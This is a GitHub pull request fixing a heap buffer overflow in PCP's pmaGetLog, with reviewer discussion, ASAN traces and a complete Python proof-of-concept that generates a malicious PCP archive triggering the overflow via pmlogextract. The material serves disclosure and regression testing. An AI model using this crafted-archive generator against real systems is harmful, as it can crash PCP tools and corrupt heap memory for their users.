libpcp_archive: fix heap buffer overflow in pmaGetLog via integer underflow - #2661
Conversation
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Repository YAML (base), Repository UI (inherited), Organization UI (inherited) Review profile: CHILL Plan: Pro Plus Run ID: 📒 Files selected for processing (1)
🚧 Files skipped from review as they are similar to previous changes (1)
📝 WalkthroughSummary by CodeRabbit
Walkthrough
ChangesArchive header validation
Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 4✅ Passed checks (4 passed)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
🧹 Nitpick comments (1)
src/libpcp_archive/src/io.c (1)
90-103: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winAdd an automated regression test for undersized headers.
Cover lengths below
2 * sizeof(head), assertPM_ERR_LOGREC, and verify that the file position is restored to the saved offset. Also cover the exact minimum-length boundary to prevent regressions in this security fix.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/libpcp_archive/src/io.c` around lines 90 - 103, Add an automated regression test for pmaGetLog covering header lengths below 2 * sizeof(head), asserting PM_ERR_LOGREC and confirming the file position returns to the saved offset. Include a separate case at exactly 2 * sizeof(head) to verify the minimum-length boundary remains accepted.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Nitpick comments:
In `@src/libpcp_archive/src/io.c`:
- Around line 90-103: Add an automated regression test for pmaGetLog covering
header lengths below 2 * sizeof(head), asserting PM_ERR_LOGREC and confirming
the file position returns to the saved offset. Include a separate case at
exactly 2 * sizeof(head) to verify the minimum-length boundary remains accepted.
ℹ️ Review info
⚙️ Run configuration
Configuration used: Repository YAML (base), Repository UI (inherited), Organization UI (inherited)
Review profile: CHILL
Plan: Pro Plus
Run ID: 46328781-18b5-4406-b0f8-3d6b4751bba0
📒 Files selected for processing (1)
src/libpcp_archive/src/io.c
|
@lilu5458 Thanks for this. Any chance we could get your crafted archive and reproducer script so we can build a QA test to guard against regression? |
There was a problem hiding this comment.
I don't think we need the __pmFseek() here on the PM_ERR_LOGREC return path ... if the archive record is really bad, returning PM_ERR_LOGREC is almost certain to lead to the caller giving up, and even if they do not we don't want to reprocess this bad record again (that's potentially an infinite loop) so moving along in the archive is likely to find another case of badness if we're called again.
f7df271 to
345fc81
Compare
|
@kmcdonell thanks for the review.
Reproducer: here's the self-contained generator for the crafted archive. It writes #!/usr/bin/env python3
"""
PoC generator for CVE candidate: heap buffer overflow in pmaGetLog (libpcp_archive/src/io.c)
Vulnerability:
In pmaGetLog() at src/libpcp_archive/src/io.c:90, the record header `head` is read
from an untrusted archive file and used directly in:
malloc(ntohl(head))
__pmFread(&lbuf[1], 1, ntohl(head) - sizeof(head), f)
Without validation that ntohl(head) >= sizeof(head). When head < 4 (sizeof(head)),
the subtraction `ntohl(head) - sizeof(head)` underflows (unsigned arithmetic),
producing a huge size_t. This causes __pmFread to attempt reading ~4GB into a
small heap buffer, causing a heap buffer overflow.
Attack vector:
A user runs pmlogextract (or pmlogrewrite) on a malicious PCP archive file.
The .meta file contains a valid label followed by a malformed record with
head value < 4 (e.g., 0x00000000).
Impact:
- Denial of service (crash via segfault)
- Potential remote code execution via heap corruption
Usage:
python3 poc_gen.py <output_dir>
Then: pmlogextract <output_dir>/malicious <output_dir>/out
"""
import os
import struct
import sys
# PCP archive constants (from src/include/pcp/pmapi.h)
PM_LOG_MAGIC = 0x50052600
PM_LOG_VERS02 = 0x2
PM_LOG_VOL_TI = -2 # temporal index volume
PM_LOG_VOL_META = -1 # metadata volume
PM_LOG_VOL_CURRENT = 0 # data volume
PM_LOG_MAXHOSTLEN = 64 # V2 host name max
PM_TZ_MAXLEN = 40 # V2 timezone max
def build_v2_label(vol):
"""Build a valid V2 label record (header + label + trailer)."""
# __pmLabel_v2 struct (124 bytes):
# magic: __uint32_t (4)
# pid: __int32_t (4)
# start_sec: __int32_t (4)
# start_usec: __int32_t (4)
# vol: __int32_t (4)
# hostname: char[64] (64)
# timezone: char[40] (40)
label_body = struct.pack('>IIIIi',
PM_LOG_MAGIC | PM_LOG_VERS02, # magic
1234, # pid
1700000000, # start_sec
0, # start_usec
vol, # vol
)
label_body += b'pocthost\0'.ljust(PM_LOG_MAXHOSTLEN, b'\0')
label_body += b'UTC\0'.ljust(PM_TZ_MAXLEN, b'\0')
# header/trailer = sizeof(__pmLabel_v2) + 2*sizeof(__int32_t) = 124 + 8 = 132
header_value = len(label_body) + 2 * 4 # 132
header = struct.pack('>I', header_value)
trailer = struct.pack('>I', header_value)
return header + label_body + trailer
def build_valid_desc_record():
"""
Build a TYPE_DESC metadata record with len=1 that:
1. Passes __pmLogLoadMeta's h.len > 0 check (len=1 > 0)
2. Passes the trailer check (trailer=1 == len=1)
3. Triggers integer underflow in pmaGetLog: ntohl(1) - sizeof(head) = 1 - 4 = underflow
__pmLogLoadMeta reads the full record (type + pmDesc + names + trailer = 36 bytes
of data after the 8-byte header), consuming 44 bytes total. It checks trailer == len,
which passes because both are 1.
pmaGetLog reads head=1, malloc(1) -> ~16 byte buffer, then tries to read
ntohl(1)-4 = 0xFFFFFFFFFFFFFFFC bytes. The file has 40 bytes remaining,
so __pmFread writes 40 bytes into the ~16 byte buffer -> heap overflow!
free(lbuf) then crashes due to heap corruption.
"""
TYPE_DESC = 1
PM_TYPE_32 = 0
PM_INDOM_NULL = 0xffffffff
PM_SEM_INSTANT = 1
name = b'test'
fake_len = 1 # Key: len=1 passes h.len > 0 but triggers underflow in pmaGetLog
# Header: len=1, type=TYPE_DESC
header = struct.pack('>II', fake_len, TYPE_DESC)
# pmDesc struct: pmid(I) + type(i) + indom(I) + sem(i) + units(I) = 20 bytes
pm_desc = struct.pack('>IiIiI',
0x00000001, # pmid
PM_TYPE_32, # type
PM_INDOM_NULL, # indom (unsigned, 0xffffffff)
PM_SEM_INSTANT, # sem
0, # units (nullunits)
)
numnames = struct.pack('>I', 1)
namelen = struct.pack('>I', len(name))
# Trailer must equal len (1) to pass __pmLogLoadMeta's check
trailer = struct.pack('>I', fake_len)
return header + pm_desc + numnames + namelen + name + trailer
def build_minimal_data_record():
"""
Build a minimal valid "mark" data record to make the .0 file larger than
the label size, bypassing the PM_ERR_NODATA check in __pmLogChkLabel.
V2 data record format: [head(4)][timestamp(8)][numpmid(4)][tail(4)]
A mark record has numpmid=0. Minimum length = 20 bytes (paranoidCheck min).
"""
# head = 4 + 8 + 4 + 4 = 20
head_value = 20
head = struct.pack('>I', head_value)
# V2 timestamp: sec(4) + usec(4)
timestamp = struct.pack('>II', 1700000000, 0)
# numpmid = 0 (mark record)
numpmid = struct.pack('>I', 0)
tail = struct.pack('>I', head_value)
return head + timestamp + numpmid + tail
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <output_dir>", file=sys.stderr)
sys.exit(1)
outdir = sys.argv[1]
os.makedirs(outdir, exist_ok=True)
base = os.path.join(outdir, 'malicious')
# .meta file: valid label + crafted TYPE_DESC record with len=1
# The record passes __pmLogLoadMeta (len>0, trailer==len) but triggers
# integer underflow in pmaGetLog (ntohl(1)-4 underflows to huge size_t).
with open(base + '.meta', 'wb') as f:
f.write(build_v2_label(PM_LOG_VOL_META))
f.write(build_valid_desc_record())
print(f"[+] Created {base}.meta (label + crafted DESC with len=1)")
# .0 file: label + minimal data record (to bypass PM_ERR_NODATA check)
# __pmLogChkLabel returns PM_ERR_NODATA if file size == label size (132 bytes)
# Adding a minimal record makes it 140 bytes, bypassing the check
with open(base + '.0', 'wb') as f:
f.write(build_v2_label(PM_LOG_VOL_CURRENT))
f.write(build_minimal_data_record())
print(f"[+] Created {base}.0 (label + minimal data record)")
# .index file: label + padding (to bypass PM_ERR_NODATA check)
with open(base + '.index', 'wb') as f:
f.write(build_v2_label(PM_LOG_VOL_TI))
f.write(build_minimal_data_record())
print(f"[+] Created {base}.index (label + minimal record)")
print(f"\n[*] PoC archive ready at: {base}")
print(f"[*] Trigger with: pmlogextract {base} {outdir}/out")
print(f"[*] Expected: segfault / heap buffer overflow in pmaGetLog")
if __name__ == '__main__':
main() |
|
@lilu5458 hmm ... seems we have a bit of a disconnect here. This was on x64_86 Ubuntu 24.04. Can you share the environment in which you see the segv without the libpcp_archive code change? Also the output from |
…erflow
pmaGetLog() in src/libpcp_archive/src/io.c reads a 4-byte head, then computes
`ntohl(head) - sizeof(head)` as the number of bytes to read into the malloc'd
buffer of size `ntohl(head)`. When a malicious archive supplies head with
ntohl(head) < sizeof(head) (e.g. head == 1), the unsigned subtraction wraps to
a huge size_t, and the preceding `lbuf[0] = head` store already writes 4 bytes
into the malloc(1) buffer -- a heap buffer overflow.
Add an explicit check that ntohl(head) >= 2 * sizeof(head) (enough room for the
head field itself plus the trailing tail field) before the malloc/fread. On
failure, return PM_ERR_LOGREC without rewinding: if the record is bad the caller
is expected to give up, and leaving the file position advanced past it avoids
reprocessing the same bad record (a potential infinite loop).
Reproduction: a crafted PCP archive (head=1 TYPE_DESC record) fed to pmlogextract
triggers the overflow in the real pmaGetLog code path (pmlogextract main ->
nextmeta -> pmaGetLog). On vanilla glibc malloc the overwrite of the 1-byte
allocation is silent, so pmlogextract returns PM_ERR_LOGREC ("Corrupted record")
without crashing; building libpcp_archive + pmlogextract with -fsanitize=address
makes it deterministic:
==ERROR: AddressSanitizer: heap-buffer-overflow on address ...
WRITE of size 4 ... thread T0
#0 pmaGetLog src/libpcp_archive/src/io.c:98 (lbuf[0] = head)
performancecopilot#1 nextmeta src/pmlogextract/pmlogextract.c:1830
performancecopilot#2 main src/pmlogextract/pmlogextract.c:3141
... is located 0 bytes to the right of 1-byte region ...
allocated by thread T0 here:
#0 malloc
performancecopilot#1 pmaGetLog io.c:90 (malloc(ntohl(head)))
After the fix, pmlogextract returns PM_ERR_LOGREC cleanly with no ASAN error.
345fc81 to
d8a620f
Compare
|
@kmcdonell apologies for the confusion — you're right, and I owe you an honest explanation of the disconnect. Why pmlogextract doesn't segv for you. The overflow is a 4-byte write ( ASAN proof on the real After the fix, the same Confirming we're testing the same archive. Environment: aarch64 Kylin Linux 6.6.0, gcc 12.3.1, pcp source at the base tree (no fix). The PoC generator is the self-contained The bug is real regardless of crash visibility: |
kmcdonell
left a comment
kmcdonell
left a comment
There was a problem hiding this comment.
@lilu5458 Thanks for explanation. I've added to my TODO list to convert you're reproducer into a QA test, but that's going to involve some work as it requires access to the source (won't run in GitHub CI/QA) and special builds for the library and commands.
This is all outside the scope of this fix, so I think we should merge this one and leave the QA for later.
2 participants
Summary
Fix a heap buffer overflow in
pmaGetLog()(src/libpcp_archive/src/io.c) caused by an integer underflow when parsing a malicious PCP archive's record header.Vulnerability
pmaGetLog()reads a 4-byte network-orderheadfield, then computes the body length as:and passes that value to both
malloc(ntohl(head))and__pmFread(&lbuf[1], 1, ntohl(head) - sizeof(head), f).ntohl(head)returnsuint32_t/unsigned int, so when a crafted archive suppliesheadwithntohl(head) < sizeof(head)(for examplehead == htonl(1)), the subtraction wraps to a huge value (e.g.0xfffffffdon a 64-bit system after promotion tosize_t).malloc(1)returns a small allocation, then__pmFreadwrites up to ~4 GiB past the end of the buffer — a classic heap buffer overflow.The same code pattern in
__pmLogRead()(src/libpcp3/src/logutil.c) already guards against this with an explicitrlen < 0check after computingrlen = head - 2 * sizeof(head).pmaGetLog()was missing this guard.Trigger
pmaGetLog()is reachable frompmlogextract(vianextmeta()) andpmlogrewritewhen processing a crafted archive. A malformedTYPE_DESCmetadata record withlen == 1passes theh.len <= 0check in__pmLogLoadMeta()(since1 > 0), then triggers the underflow whenpmaGetLog()re-reads it.Fix
Add an explicit validation before the
malloc/__pmFreadcalls:2 * sizeof(head)is the minimum sane record size (head field + tail field, 8 bytes total). On failure the file is rewound andPM_ERR_LOGRECis returned, matching the existing safe behavior in__pmLogRead().Validation
TYPE_DESCrecord wherelen == 1(passes__pmLogLoadMeta'sh.len > 0check, then underflows inpmaGetLog).freadwrites 40 bytes past a 1-byte allocation, hitting the guard page and raisingSIGSEGV(exit 139).pmlogextracton the same crafted archive returnsPM_ERR_LOGRECcleanly (exit 1) with no memory error.Scope
1 file changed, 14 insertions. No behavioral change for well-formed archives (the smallest valid record is
2 * sizeof(head) == 8bytes).